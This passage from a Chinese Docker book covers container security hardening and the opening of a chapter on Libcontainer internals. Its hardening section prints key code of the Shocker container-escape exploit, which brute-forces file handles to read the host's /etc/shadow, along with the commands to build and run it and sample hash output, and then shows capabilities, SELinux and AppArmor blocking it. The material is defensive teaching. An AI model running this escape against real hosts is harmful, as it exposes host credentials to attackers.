grsecurity提供了一个系统的内核patch，使Linux内核的安全性大大增强，并且它提供了一些工具让用户配置、使用这些安全特性。和SELinux及AppArmor一样，grsecurity可以用来控制资源访问权限。图8-1是一张关于grseurity、SELinux和AppArmor的对比图[1]。

图8-1　grseurity、SELinux、AppArmor的对比

图8-1只截取了部分，完整的可以参考grsecurity官网。

由于grsecurity提供的安全特性是对整个系统都有效的，因此用户不需要对Docker做专门的配置。遗憾的是，grsecurity并没有被Linux内核主线接受，因此Redhat和Ubuntu等发行版都不支持grsecurity。

[1] 来自grsecurity官方网站。

8.2.14　几个与Docker安全相关的项目

1.Notary

Docker对安全模块进行了重构，剥离出了名为Notary的独立项目。Notary的目标是保证server和client之间的交互使用可信任的连接，用于解决互联网内容发布的安全性。该项目并未局限于容器应用，在容器场景下可对镜像源认证、镜像完整性等安全需求提供很好的支持。更详细的信息可以参考这个链接：https://github.com/docker/notary。

2.docker-bench-security

docker-bench-security提供一个脚本，它可以检测用户的生产环境是否符合Docker的安全实践。详细信息请参考这个的链接：https://github.com/docker/docker-bench-security。

8.3　安全加固

上一节主要讲了Docker的安全策略，本节将结合上一节的安全策略，从一个实际的例子出发，实战Docker安全加固。

8.3.1　主机逃逸

主机逃逸实为虚拟机逃逸，主要指利用虚拟机软件或者虚拟机中运行的软件的漏洞进行攻击，以达到攻击或控制虚拟机宿主操作系统的目的，下文的Shocker攻击就属于这类攻击，在此为了方便理解，暂且简单地把Docker容器当作虚拟机对待。

前面提到Docker的安全问题主要来源于容器的隔离性，容器隔离性的不足可能会导致容器影响host，或者影响其他容器，Shocker攻击就是容器影响host的一个例子。

1.Shocker攻击

Github上有个项目叫Shocker[1]，它描述了怎样逃逸Docker容器并读取到host的/etc/shadow文件的内容。

读者可以在Github上阅读完整的代码，以便对这个例子有更好的理解。另外这个项目中的例子的初始出处是http://stealth.openwall.net/xSports/shocker.c。

提示

http://stealth.openwall.net还提供一些安全方面的其他例子，有兴趣的读者可以看看。

Shocker的关键代码不多，这里直接贴出来。

先看主函数，它做的主要工作是调用find_handle函数，找到文件句柄，并直接将内容读出来。

int main()
{
...
if ((fd1 = open("/.dockerinit", O_RDONLY)) < 0)
die("[-] open");
if (find_handle(fd1, "/etc/shadow", &root_h, &h) <= 0)
die("[-] Cannot find valid handle!");
if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0)
die("[-] open_by_handle");
if (read(fd2, buf, sizeof(buf) - 1) < 0)
die("[-] read");
fprintf(stderr, "[!] Win! /etc/shadow output follows:\n%s\n", buf);
...
}

主函数中用到了函数find_handle，它的作用是暴力寻找（猜测）文件句柄，代码如下：

int find_handle(int bfd, const char *path,
const struct my_file_handle *ih, struct my_file_handle *oh)
{
…
if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0)
die("[-] open_by_handle_at");
if ((dir = fdopendir(fd)) == NULL)
die("[-] fdopendir");
for (;;) {
de = readdir(dir);
if (!de)
break;
if (strncmp(de->d_name, path, strlen(de->d_name)) == 0)
break;
}
if (de) {
for (uint32_t i = 0; i < 0xffffffff; ++i) {
…
if  (open_by_handle_at(bfd,
(struct file_handle *)&outh, 0) > 0) {
…
return find_handle(bfd, path, &outh, oh);
}
}
}
...
}

下载Shocker源码：

$ git clone https://github.com/gabrtv/shocker.git
$ cd shocker/

在编译之前，需要修改上文main函数的一行代码，将

if ((fd1 = open("/.dockerinit", O_RDONLY)) < 0)

改为

if ((fd1 = open("/etc/hosts", O_RDONLY)) < 0)

然后编译：

$ docker build -t shocker:latest .

接着运行Shocker，如下：

$ docker run --rm -ti --cap-add=all shocker bash
root@c625c0a82356:/app# ./shocker
[***] docker VMM-container breakout Po(C) 2014             [***]
[***] The tea from the 90's kicks your sekurity again.     [***]
[***] If you have pending sec consulting, I'll happily     [***]
[***] forward to my friends who drink secury-tea too!      [***]
[*] Resolving 'etc/shadow'
[*] Found sbin
[*] Found ..…
[!] Win! /etc/shadow output follows:
root:$6$vQj.osXM$LxfheEIT2HcDT4UerWegvNUkdIAE3KHzHwdvMuH4JFsYusXmJIK.JD0AMt3BuZ
IMa./ixJo0a/4EmfqO9rakg1:16652:0:99999:7:::
daemon:*:16484:0:99999:7:::…
sshd:*:16652:0:99999:7:::
hello:$6$d4eTRpEl$Hs5ZZqhzUJF.DzRcjAPqkS0PnTnAKC4vBSobPBUq9x4S0zJ2tFHxcAh1aUJhL
r36D4TJB6.psiTXFTitxpSsY1:16652:0:99999:7:::

可以看出，容器中的Shocker已经可以遍历host的文件系统，并读取/etc/shadow文件了。

提示

容器中的根文件系统也有/etc/shadow文件，怎么知道上面打印的是host的呢？因为笔者的host上有hello用户，而容器中没有。读者可以自己试试看。

2.Shocker的原理

Shocker攻击的核心是利用了一个不常见的系统调用：open_by_handle_at。它和name_to_handle_at一起将系统调用open分解为两步：

int name_to_handle_at(int dirfd, const char *pathname,
struct file_handle *handle, int *mount_id, int flags);
int open_by_handle_at(int mount_fd, struct file_handle *handle, int flags);

handle是由name_to_handle_at系统调用得来的，它本身对用户是透明的。Shocker攻击没有使用name_to_handle_at，它通过暴力手段（brute force）猜测出指向host根目录的handle，由此达到读取host文件系统中文件的目的。

再来说说为什么上面的代码要将/.dockerinit改为/etc/hosts，这是因为旧版Docker的/.dockerinit是由主机bind mount到容器的，但较新版本的Docker已经不是这样了，因此我们需要改用/etc/hosts，这个也是由主机bind mount的。对此，在容器中输入mount命令就能够看到：

$ docker run --rm -ti shocker bash
root@3e61fb2c6e11:/app# mount
none on / type aufs (rw,relatime,si=dd5a7edaa0c5dd15,dio,dirperm1)
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
tmpfs on /dev type tmpfs (rw,nosuid,mode=755)…
/dev/mapper/ubuntu--vg-root on /etc/resolv.conf type ext4 (rw,relatime,errors= remount-ro,data=ordered)
/dev/mapper/ubuntu--vg-root on /etc/hostname type ext4 (rw,relatime,errors= remount-ro,data=ordered)
/dev/mapper/ubuntu--vg-root on /etc/hosts type ext4 (rw,relatime,errors=remount-ro,data=ordered)…

从上面的信息可以看出，除了/etc/hosts，通过/etc/resolv.conf或/etc/hostname，上面的攻击也同样有效。

[1] 项目地址：https://github.com/gabrtv/shocker。

8.3.2　安全加固之capability

在前文给出的Shocker代码中，关键是执行了系统调用open_by_handle_at，这个系统调用需要用到dac_read_search这个capability，如果去掉这个capability，攻击自然就不奏效了，如下：

$ docker run --rm -ti --cap-add=all --cap-drop=dac_read_search shocker bash
root@27bdfd702777:/app# ./shocker
[***] docker VMM-container breakout Po(C) 2014             [***]
[***] The tea from the 90's kicks your sekurity again.     [***]
[***] If you have pending sec consulting, I'll happily     [***]
[***] forward to my friends who drink secury-tea too!      [***]
[*] Resolving 'etc/shadow'
[-] open_by_handle_at: Operation not permitted

其实，Docker默认提供以下十几种能力：

Capabilities: []string{
"CHOWN",
"DAC_OVERRIDE",
"FSETID",
"FOWNER",
"MKNOD",
"NET_RAW",
"SETGID",
"SETUID",
"SETFCAP",
"SETPCAP",
"NET_BIND_SERVICE",
"SYS_CHROOT",
"KILL",
"AUDIT_WRITE",
}

这其中并不包括dac_read_search，也就是说，只要命令行不设置任何capability的参数，那上面的攻击也是不奏效的：

$ docker run --rm -ti shocker bash
root@52e3a7475d75:/app# ./shocker
[***] docker VMM-container breakout Po(C) 2014             [***]
[***] The tea from the 90's kicks your sekurity again.     [***]
[***] If you have pending sec consulting, I'll happily     [***]
[***] forward to my friends who drink secury-tea too!      [***]
[*] Resolving 'etc/shadow'
[-] open_by_handle_at: Operation not permitted

从以上关于capability的使用可以知道，赋予给容器的能力越小，就相对越安全，也就是通常所说的赋予容器必需的最小能力。所以在启动容器时，强烈建议不要使用--privileged，并且要将不需要的能力尽量都去掉。

8.3.3　安全加固之SELinux

同样是Shocker这个例子，在打开SELinux后，结果又是怎样的呢？

要把SELinux和Docker结合起来，需要内核支持SELinux，且要在系统中已经打开，并且在启动Docker daemon时加了SELinux的选项。

以Fedora 20为例，要先确保Docker的SELinux模块已经插入到内核（这个一般都不存在问题，发行版本中已经有了）。启动Docker daemon的命令如下：

$ sudo docker daemon --selinux-enabled=true

运行Shocker：

$ docker run --rm -ti --cap-add=all shocker bash
root@d44b97de67b0:/app# ./shocker
[***] docker VMM-container breakout Po(C) 2014             [***]
[***] The tea from the 90's kicks your sekurity again.     [***]
[***] If you have pending sec consulting, I'll happily     [***]
[***] forward to my friends who drink secury-tea too!      [***]
[*] Resolving 'etc/shadow'…
] Brute forcing remaining 32bit. This can take a while...
[*] (shadow) Trying: 0x00000000
[*] (shadow) Trying: 0x00100000
[*] (shadow) Trying: 0x00200000
[*] (shadow) Trying: 0x00300000
[*] (shadow) Trying: 0x00400000
[*] (shadow) Trying: 0x00500000
[*] (shadow) Trying: 0x00600000
[*] (shadow) Trying: 0x00700000…

上面的代码中使用了一个循环（暴力破解），第一次没成功，于是就开始使用“蛮力”了。实际上它永远也不会成功。看下audit日志就更清楚了：

type=AVC msg=audit(1438154356.362:506): avc:  denied  { read } for  pid=3230 comm="shocker" name="shadow" dev="dm-4" ino=793085 scontext=system_u:system_r:svirt_lxc_net_t:s0:c456,c659 tcontext=system_u:object_r:shadow_t:s0 tclass=file permissive=0

上面的信息显示Shocker成功地找到了/etc/shadow，但是在读取内容时被SELinux阻止了。

目前SELinux是效果最好的Docker安全加固手段，若用户的使用环境支持SELinux，强烈建议用户打开SELinux功能。

8.3.4　安全加固之AppArmor

使用AppArmor是否也可以防止Shocker攻击呢？我们一起来看看。

建议在Ubuntu（比如说Ubuntu 14.04.3 LTS）上做AppArmor的测试，修改前文提到的/etc/apparmor.d/container配置文件，加入一行“deny/etc/hosts rwklx，”，如下：

#include <tunables/global>
profile container-default flags=(attach_disconnected,mediate_deleted) {
#include <abstractions/base>
network,
capability,
file,
umount,
deny @{PROC}/sys/fs/** wklx,
deny @{PROC}/sysrq-trigger rwklx,
deny @{PROC}/mem rwklx,
deny @{PROC}/kmem rwklx,
deny @{PROC}/sys/kernel/[^s][^h][^m]* wklx,
deny @{PROC}/sys/kernel/*/** wklx,
deny mount,
deny /sys/[^f]*/** wklx,
deny /sys/f[^s]*/** wklx,
deny /sys/fs/[^c]*/** wklx,
deny /sys/fs/c[^g]*/** wklx,
deny /sys/fs/cg[^r]*/** wklx,
deny /sys/firmware/efi/efivars/** rwklx,
deny /sys/kernel/security/** rwklx,
deny /etc/hosts rwklx,
}

应用上面的规则后，运行Shocker：

$ sudo apparmor_parser -r /etc/apparmor.d/container
$ docker run --rm -ti --cap-add=all --security-opt apparmor:container-default shocker bash
root@2921a63db37f:/app# ./shocker
[***] docker VMM-container breakout Po(C) 2014             [***]
[***] The tea from the 90's kicks your sekurity again.     [***]
[***] If you have pending sec consulting, I'll happily     [***]
[***] forward to my friends who drink secury-tea too!      [***]
[-] open: Permission denied

可以看到，攻击也是不奏效的，虽然加“deny/etc/hosts rwklx，”这一行同时也阻止了容器内的其他程序对/etc/hosts的读取，但是可从这个例子中可以看到AppArmor对容器的保护作用。

8.4　Docker安全遗留问题

确实，Docker社区为Docker的安全做了很多的工作，但到目前为止，Docker仍然还有不少跟安全相关的问题没有解决，下面列举其中一些问题。

8.4.1　User Namespace

第2章介绍过User Namespace，它可以将host的一个普通用户映射成容器里的root用户，不过虽然允许进程在容器里执行特权操作，但这些特权局限在该容器内。这是对容器安全一个非常大的提升，恶意程序通过容器入侵host或者其他容器的风险大大降低，但仍然无法让人放心地说容器已经足够安全了。另外，由于内核层面隔离性不足，如果用户在容器内的一个特权操作会影响到容器外，那么这个特权操作一般也是不被User Namespace所允许的。因此，User Namespace显然也不是Docker容器安全的银弹。

目前Docker还不支持User Namespace，但社区一直在做这个工作，或许在Docker 1.9或2.0版本中我们将会看到这个特性。

提示

LXC是支持User Namespace的，使用User Namespace创建的容器称为unprivileged container，读者可以通过LXC maintainer Stéphane Graber的这篇博文深入了解User Namespace在LXC里的使用：https://www.stgraber.org/2014/01/17/lxc-1-0-unprivileged-containers/。

8.4.2　非root运行Docker daemon

目前Docker daemon需要由root用户启动，而Docker daemon创建的容器以及容器里面运行的应用实际上也是以root用户运行的。实现由普通用户启动Docker daemon和运行容器，当然有益于Docker的安全。

但是要解决这个问题很困难，这是因为创建容器需要执行很多特权操作，包括挂载文件系统、配置网络等。目前社区并没有一个好的方案。

8.4.3　Docker热升级

Docker管理容器的方式是中心式管理，容器由主机上的Docker daemon进程统一管理。这种中心式管理方式对于第三方的任务编排工具并不友好，因为什么功能都需要跟Docker关联起来。更大的问题是，如果Docker daemon挂掉了，重启daemon后，它将无法接管容器，容器也不能运行了。不过，这对安全有什么影响呢？在实际应用中，很多业务都是不能中断的，而停止容器就往往就相当于停止业务，但如果因为安全漏洞的原因需要升级Docker，用户就将处于两难的境地。

Docker在这方面的讨论和进展，可以通过这个Github issue进一步了解：https://github.com/opencontainers/runc/issues/185。

8.4.4　磁盘限额

默认情况下，Docker镜像、容器rootfs、数据卷都存放在/var/lib/docker目录里，也就是说跟host是共享同一个文件系统的。如果不对Docker容器做磁盘大小的配额限制，容器就可能用完整个磁盘的可用空间，导致host和其他容器无法正常运作。

但目前Docker几乎没有提供任何接口用于限制容器的磁盘大小。唯一可以一提的是，当graphdriver为devicemapper时，容器会被默认分配一个100GB的空间。这个空间大小可以在启动Docker daemon时设置为另一个默认值，但无法对每个容器单独设置一个不同的值。

$ sudo docker daemon --storage-opt dm.basesize=5G

除此之外，用户只能通过其他手段自行做一些隔离措施，例如为/var/lib/docker单独分配一个磁盘或分区。

8.4.5　网络I/O

目前同一台机器上的Docker容器会共享带宽，这就可能出现某个容器占用大部分带宽资源，从而影响其他需要网络资源的容器正常工作的情况。Docker需要一个好的网络方案，除了要解决容器跨主机通信的问题，还要解决网络I/O限制的问题。关于Docker的网络管理，请参考本书的“Docker网络”一章。

8.5　本章小结

Docker的隔离性还远达不到虚拟机的水平，应该避免把Docker容器当成虚拟机来使用，除非在虚拟机里部署容器，否则一般来说Docker容器应该只跑可信应用。容器的隔离能力不是万能的，应对才是王道，用户应该评估自己需要的安全等级，针对自身的需求采取相应的安全策略。这些安全策略主要是对系统做减法，通过各种限制来达到安全性，这也是最主流、有效的安全加固方法。此外，还应该保证内核的安全和稳定，并启用监控、容错等系统。

总之，Docker安全，任重道远。

第9章　Libcontainer简介

前面的章节已经介绍了Libcontainer是Docker的一个重要组件，它做了很多更底层的容器管理工作，使得Docker可以专注于上层功能的设计和实现。其实Libcontainer是作为一个单独的开源项目来管理和维护的。DockerCon2015发布了OCP（Open Container Project，已改名为OCI，即Open Container Initiative）及其中的项目runC（一个基于Libcontainer的容器runtime管理工具），而这会使Libcontainer得到更广泛的关注，所以我们认为有必要单独开辟一个章节来对Libcontainer做一个相对全面的介绍，以便读者更好地理解Docker的核心组件及火热的OCI。

9.1　引擎的引擎

9.1.1　关于容器的引擎

众所周知，Docker的“Build，Ship and Run”都是针对容器而言的。在各类文档和资料中，也都将Docker描述为一种容器的运行和管理工具，在一些以Docker为基础的其他生态圈开源项目的全套解决方案中（比如Docker公司的Orca等），也常常直接用engine这样的词来描述Docker项目，因此，我们可以将Docker理解为一种容器引擎。在对Docker的组件和原理做了更加细致的分析后，我们会发现如果把“容器引擎”定义为一种驱动容器创建、修改、监听和删除等操作的工具，那么Libcontainer更适合被称作为“容器引擎”，因为Docker所有对容器生命周期进行管理的操作都是通过调用Libcontainer的API来实现的。从这个层面来说，Libcontainer才是真正的容器引擎，而Docker是建立在引擎之上、更高层面、功能也更强大的容器管理工具。

9.1.2　对引擎的理解

如果看了上一节的描述，大家还是对如何定义引擎，以及引擎应该做些什么存在疑问，那么可以通过分析Libcontainer提供的功能，直观地感受一个容器引擎应该是什么样子的。

type Container interface {
// Returns the ID of the container
ID() string
// Returns the current status of the container.
Status() (Status, error)
// State returns the current container's state information.
State() (*State, error)
// Returns the current config of the container.
Config() configs.Config
// Returns the PIDs inside this container.
// The PIDs are in the namespace of the calling process.
Processes() ([]int, error)
// Returns statistics for the container.
Stats() (*Stats, error)
// Set cgroup resources of container as configured
Set(config configs.Config) error
// Start a process inside the container. Returns error if process fails to
// start. You can track process lifecycle with passed Process structure.
Start(process *Process) (err error)
// Checkpoint checkpoints the running container's state to
// disk using the criu(8) utility.
Checkpoint(criuOpts *CriuOpts) error
// Restore restores the checkpointed container to a running state using
// the criu(8) utiity.
Restore(process *Process, criuOpts *CriuOpts) error
// Destroys the container after killing all running processes.
Destroy() error
Pause() error
Resume() error
// NotifyOOM returns a read-only channel signaling when the container
// receives an OOM notification.
NotifyOOM() (<-chan struct{}, error)
// Signal sends the provided signal code to the container's initial process.
Signal(s os.Signal) error
}

可见Libcontainer提供的功能非常丰富，而这些API总结起来可以归纳为以下功能：

·运行容器。

·暂停/恢复容器。

·销毁容器。

·向容器发送信号。

·获取容器信息（ID、进程、状态、配置等）。

·修改容器配置。

·Checkpoint/Restore容器。

以上几乎包含了我们对容器功能接口的所有需求，这么看来似乎Libcontainer就可以是一个完整的容器工具，这里就涉及了另一个与容器引擎定义相关的概念：runtime管理工具。

所谓runtime管理工具，就是指只对容器运行时的相关状态和操作进行管理的工具，而Libcontainer就是这样一种runtime管理工具。我们在第1章已经介绍过，Docker在容器技术的基础上做了很多事情，而那些很多都是runtime之外的，Docker把runtime的部分交给了Libcontainer来做。另外，LXC工具也是一种runtime工具，了解Docker的读者应该知道，LXC工具也是Docker的exec driver之一，而它也算是一种容器引擎，所以这里可以给出一个较为明确的定义：

容器引擎是一种驱动和管理容器生命周期的runtime工具。

说明

严格地说，Libcontainer并不是一个工具，而是一个lib库，一般来说，有可直接运行命令的才算工具，Libcontainer里原先带了一个叫nsexec的小工具，而由此演变来的runC才真正成为runtime工具，这会在下面的章节中介绍。

9.2　Libcontainer的技术原理

Docker是如何创建容器的？相信大多数人都提过这个问题，特别是想了解Docker实现原理的读者，但是当你想从代码中找这个问题的答案时，会发现很难梳理清楚。前面说过，容器的创建、删除等生命周期管理操作都是通过Libcontainer来实现的，而其中又以容器创建最为复杂和关键，所以本章会带领读者通过分析容器创建的问题，来剖析Libcontainer的技术原理。

9.2.1　为容器创建新的命名空间

容器技术的核心就是Namespace和Cgroup，我们常常说运行一个容器，该容器就创建了属于自己的Namespace和Cgroup，所以对于如何创建容器，核心问题之一就是容器如何创建属于自己的Namespace。在第2章介绍容器技术的时候，已介绍过如何创建一个新的Namespace，还记得吗？是通过在clone系统调用中传入相应Namespace的flag来实现的，如下：

pid = clone(fun, stack, flags, clone_arg);
(flags: CLONE_NEWPID  | CLONE_NEWNS  |
CLONE_NEWUSER | CLONE_NEWNET |
CLONE_NEWIPC  | CLONE_NEWUTS |
…)

但这是C语言的用法，golang中并不能直接调用glibc的接口，golang有一套自己的实现。了解golang的读者应该知道，golang是通过exec包中的Cmd来创建新进程的，下面是一个简单的例子：

package main
import (
"log"
"os/exec"
)
func main() {
cmd := exec.Command("sleep", "5")
err := cmd.Start()
if err != nil {
log.Fatal(err)
}
log.Printf("Waiting for command to finish...")
err = cmd.Wait()
log.Printf("Command finished with error: %v", err)
}

以上代码中的cmd.Start（）会创建一个子进程并在子进程中执行sleep 5秒的命令，父进程则继续往下执行，到cmd.Wait（）开始等待子进程的结束。对于新创建进程的更多配置，都是通过配置exec.Command命令返回的cmd来实现的，比如对于进程的命名空间，可以做以下配置：

cmd.SysProcAttr = &syscall.SysProcAttr{}
cmd.SysProcAttr.Cloneflags = syscall.CLONE_NEWUSER |
syscall.CLONE_NEWNS |
syscall.CLONE_NEWUTS |
syscall.CLONE_NEWPID |
syscall.CLONE_NEWIPC |
syscall.CLONE_NEWNET
cmd.SysProcAttr.Credential = &syscall.Credential{
Uid: 0,
Gid: 0,
}
cmd.SysProcAttr.UidMappings = []syscall.SysProcIDMap{{
ContainerID: 0,
HostID: 1001,
Size: 1 }}
cmd.SysProcAttr.GidMappings = []syscall.SysProcIDMap{{
ContainerID: 0,
HostID: 1001,
Size: 1 }}

因为增加了对User Namespace的处理，所以看起来复杂一些，但核心的部分是一样的，即在CloneFlags中增加相应的Namespace的flag。从实现上来说，跟上面C语言的例子也非常类似，Libcontainer也是只需要知道从Docker那边传来的参数中包含了哪些clone flag，然后将其配置到cmd.SysProcAttr.CloneFlags中，之后执行cmd.Start（）就创建了一个拥有自己的命名空间的子进程。

说明

Docker创建的容器不一定会新创建以上列出的所有命名空间，Docker允许容器跟host共享某些命名空间，或者跟其他容器共享某些命名空间，具体的用法和支持共享的命名空间可参考Docker的相关文档。

9.2.2　为容器创建新的Cgroup

通过第2章的介绍，我们对Cgroup已经有了比较详细的了解，简单地说，创建一个新的Cgroup就是在cgroupfs的挂载目录中创建一个新的文件夹，因为Cgroup分了不同的subsystem，挂载在不同的目录下，所以要在每个目录下都创建一个新文件夹，实现步骤如下：

os.MkdirAll("/sys/fs/cgroup/cpu/docker/xxxxx", 0755)
ioutil.WriteFile("/sys/fs/cgroup/cpu/docker/xxxxx/cgroup.procs", $pid)
os.MkdirAll("/sys/fs/cgroup/cpuset/docker/xxxxx", 0755)
ioutil.WriteFile("/sys/fs/cgroup/cpuset/docker/xxxxx/cgroup.procs", $pid)
os.MkdirAll("/sys/fs/cgroup/blkio/docker/xxxxx", 0755)
ioutil.WriteFile("/sys/fs/cgroup/blkio/docker/xxxxx/cgroup.procs", $pid)
os.MkdirAll("/sys/fs/cgroup/memory/docker/xxxxx", 0755)
ioutil.WriteFile("/sys/fs/cgroup/memory/docker/xxxxx/cgroup.procs", $pid)
os.MkdirAll("/sys/fs/cgroup/devices/docker/xxxxx", 0755)
ioutil.WriteFile("/sys/fs/cgroup/devices/docker/xxxxx/cgroup.procs", $pid)
os.MkdirAll("/sys/fs/cgroup/freezer/docker/xxxxx", 0755)
ioutil.WriteFile("/sys/fs/cgroup/freezer/docker/xxxxx/cgroup.procs", $pid)

说明

以上例子中使用xxxxx代替容器的ID，使用$pid代替容器中第一个进程的ID。

可见步骤也非常简单，需要考虑的是如何获取当前容器对应的Cgroup路径，以及在什么时机创建Cgroup并把容器中的1号进程放到Cgroup中。

对于时机的选取，显然应该在创建子进程之后，只有这样我们才能获得子进程的pid，然后由父进程来做创建新Cgroup的操作，并把子进程的pid放到新Cgroup中。需要注意的是，这里要跟子进程做一个同步操作，在创建子进程后应立刻阻塞子进程的运行，在父进程执行完Cgroup的操作后再让子进程继续运行。这样做的目的是确保所有容器相关的进程都在这个新Cgroup中。

提示

需要做这个同步操作是因为Cgroup的规则：一个进程创建的子进程跟该进程在同一个Cgroup中。

9.2.3　创建一个新的容器

单独看Namespace和Cgroup的创建，似乎都非常简单，但一个完整的容器包含的内容远不止新的Namespace和Cgroup这么简单。后面会用一个流程图来介绍容器的创建过程和每个步骤做的事情，在此之前，先看看Docker是如何跟Libcontainer结合的。

前面说过，Libcontainer并不是一个可以直接使用的工具，而是一个lib库（从命名上也可以看出，以lib开头的开源项目，基本上都是一个lib库），而golang对于这类库的使用，就是通过import相应的package来实现的，它会调用package中对外提供的API和数据结构。例如：

import (
...
"github.com/opencontainers/runc/libcontainer"
"github.com/opencontainers/runc/libcontainer/apparmor"
"github.com/opencontainers/runc/libcontainer/cgroups/systemd"
"github.com/opencontainers/runc/libcontainer/configs"
"github.com/opencontainers/runc/libcontainer/system"
"github.com/opencontainers/runc/libcontainer/utils"
)

之后就可以在Docker中调用Libcontainer里提供的API，或使用Libcontainer中提供的数据结构了。在创建容器的流程中，Docker大致做了这些事：

// Create是libcontainer.Factory提供的方法，用于创建一个Container对象
cont, err := d.factory.Create(c.ID, container)
...
// Start是Container对象提供的方法，是libcontainer提供的创建容器的入口
err := cont.Start(p)
...
// 等待进程退出
p.Wait()
...
// 销毁容器
cont.Destroy()

以上流程非常清晰和简洁，需要注意的是，d.factory.Create中传入的container参数，是Libcontainer中提供的一个Config结构体，该结构体包含了运行一个容器所需的所有信息，所以在创建的Container对象中也包含了所有的这些信息。而Config结构体包含的这些信息，都是Docker在前面的步骤中一步一步收集起来的。这些收集的信息可能是用户通过命令参数传递进来且经过处理和转化的，也可能是当前的系统环境信息。可以说在创建容器的时候，Docker做的所有事情就是做收集信息的准备工作，等收集完毕，就调用Libcontainer提供的接口来做容器创建工作。

我们有必要看一看Libcontainer提供的这个Config结构体包含的信息：

type Config struct {
...
// Path to a directory containing the container's root filesystem.
Rootfs string `json:"rootfs"`
...
// Mounts specify additional source and destination paths that will be mounted inside the container's
// rootfs and mount namespace if specified
Mounts []*Mount `json:"mounts"`
// The device nodes that should be automatically created within the container upon container start.  Note, make sure that the node is marked as al lowed in the cgroup as well!
Devices []*Device `json:"devices"`
// Hostname optionally sets the container's hostname if provided
Hostname string `json:"hostname"`
// Namespaces specifies the container's namespaces that it should setup when cloning the init process
// If a namespace is not provided that namespace is shared from the container's parent process
Namespaces Namespaces `json:"namespaces"`
// Capabilities specify the capabilities to keep when executing the process inside the container
// All capbilities not specified will be dropped from the processes capability mask
Capabilities []string `json:"capabilities"`
// Networks specifies the container's network setup to be created
Networks []*Network `json:"networks"`
// Cgroups specifies specific cgroup settings for the various subsystems that the container is
// placed into to limit the resources the container has available
Cgroups *Cgroup `json:"cgroups"`
...
// Rlimits specifies the resource limits, such as max open files, to set in the container
// If Rlimits are not set, the container will inherit rlimits from the parent process
Rlimits []Rlimit `json:"rlimits"`
// UidMappings is an array of User ID mappings for User Namespaces
UidMappings []IDMap `json:"uid_mappings"`
// GidMappings is an array of Group ID mappings for User Namespaces
GidMappings []IDMap `json:"gid_mappings"`
...
// Seccomp allows actions to be taken whenever a syscall is made within the container.
// By default, all syscalls are allowed with actions to allow, trap, kill, or return an errno
// can be specified on a per syscall basis.
Seccomp *Seccomp `json:"seccomp"`
}

说明

Config中包含的信息较多，这里省去了一些，只保留部分要重点说明的信息。

这些信息都是Libcontainer需要处理的，显然Cgroup和Namespace只是其中的一小部分，比如rootfs就是另一项要处理的重要内容。我们知道容器要有自己的文件系统视图，而该视图是通过Mount Namespace来实现的，在前面创建Namespace的过程中也介绍了，通过把从Docker中传递下来的CLONE_NEWNS配置到cmd.SysProcAttr.Cloneflags中，就让新创建的进程有了自己的Mount Namespace。进程有了自己的Mount Namespace后，虽然在修改自己的文件系统视图时，不会影响父进程的文件系统视图，但是目前子进程看到的文件系统视图跟父进程还是一样的，也就是说，还是可以看到host上的所有文件，所以子进程还需要进入自己的rootfs目录中，并把这作为自己的文件系统视图中的根目录，从而把文件系统视图及对文件系统挂载信息的修改限定在容器镜像的rootfs范围内。这跟所有的其他容器引擎一样，都是通过pivot_root来做的。在golang中使用：

syscall.PivotRoot(rootfs, pivotDir)

来实现rootfs的切换，但在这之前，子进程还需要做一系列的挂载操作，在还能看到host上文件系统信息的情况下，把需要挂载到容器中的信息挂载到容器所在的rootfs下。

下面用一个流程图来说明整个容器的启动过程（如图9-1所示）。

图9-1　容器的启动过程

这里省略了Docker收集信息的部分操作，且在收集完信息后直接调用cont.Start（p）进入了Libcontainer，其中所有创建容器需要的信息已经都在container对象的cont中了。在Libcontainer中，p.cmd.Start（）创建了子进程，而子进程没有做任何实质性的工作就进入了pipe wait。

说明

这里的pipe wait指的是等待读取pipe中的内容。pipe是一种进程间信息传递和同步的工具，如果pipe中没有内容，子进程就会一直阻塞等待，直到父进程往pipe中写入内容，以此实现父进程控制子进程何时开始执行的目的。

通过上文说的几个技术点可知，在p.cmd.Start（）创建子进程的时候，就创建了新的Namespace，这时，子进程就已经在自己的Namespace里了。然后daemon线程在执行p.manager.Apply（）操作时，会创建新的Cgroup，并把刚创建的子进程放到新的Cgroup中，至此，容器的雏形已经形成。进一步，daemon线程在做了一些网络配置的操作后，会把容器的配置信息通过管道发给子进程，同时让子进程继续往下执行，而daemon线程则进入pipe wait阶段，容器剩下的初始化操作就都由子进程自己完成了。其中很重要的一步就是上文说的rootfs的切换，这是在setupRootfs（）函数中完成的。首先子进程会根据config中的配置，把host上的相关目录mount到容器的rootfs中，或挂载到一些虚拟文件系统上，这些挂载信息可能是-v指定的volume、容器的Cgroup信息、proc文件系统等。该函数还会根据需要设置一些挂载目录为只读。在做完文件系统相关的所有操作后，就执行syscall.PivotRoot（）把容器的根文件系统切换到image对应的rootfs。之后再做一些hostname及安全配置相关的操作，然后就可以调用syscall.Exec（）正式执行容器中的init进程了。

至此，容器已经完成创建和运行操作，同时通知了父进程，此时，daemon线程会回到Docker的函数中，执行等待容器进程结束的操作，整个过程完成。

说明

图9-1中的流程做了一些省略，实际上在创建子进程到执行StartInitialization（）函数的过程中，在代码上还会到Docker部分去转一圈。目前Docker是使用reexec包来启动容器和运行其他一些命令的，reexec实现了类似busybox的程序调用。有兴趣的读者可以去查阅reexec包的实现。

在整个流程中，我们没有对Libcontainer在网络和安全相关的实现做详细介绍，因为这部分内容跟网络和安全本身的关联性比较大。有兴趣的读者可以去查看相应的Libcontainer实现代码，且参考本书中网络和安全相关的章节内容。

9.2.4　Libcontainer的功能

在对引擎的介绍中，已经列举了Libcontainer的功能，用以说明一个引擎应该具备的功能特性，这里会将Libcontainer的功能展开描述一下。

1.运行容器

根据前几节的描述，我们了解了Docker是如何创建并运行一个容器的，而这一工作大部分都是由Libcontainer完成的，运行容器当然是一个容器引擎应该具备的最基本能力。但实现运行容器的功能时，除了创建和运行一个新的容器外，还包含了在一个已有的容器中运行指定应用进程的功能，也就是docker exec所做的事。需要说明的是，docker exec的功能一部分是在Docker端实现的，即通过setns把进程加入到现有容器的命名空间，Libcontainer做的只是让进程跑起来，并把它加入到容器的Cgroup中。

说明

严格地说，docker exec不能算是“运行容器”，但因为Libcontainer提供的是同一个接口，所以把它们放在一起介绍。准确地说，这里的“运行容器”功能应该被称为“在容器中运行应用程序”，而这个容器可以是新创建的，也可以是已经存在的。

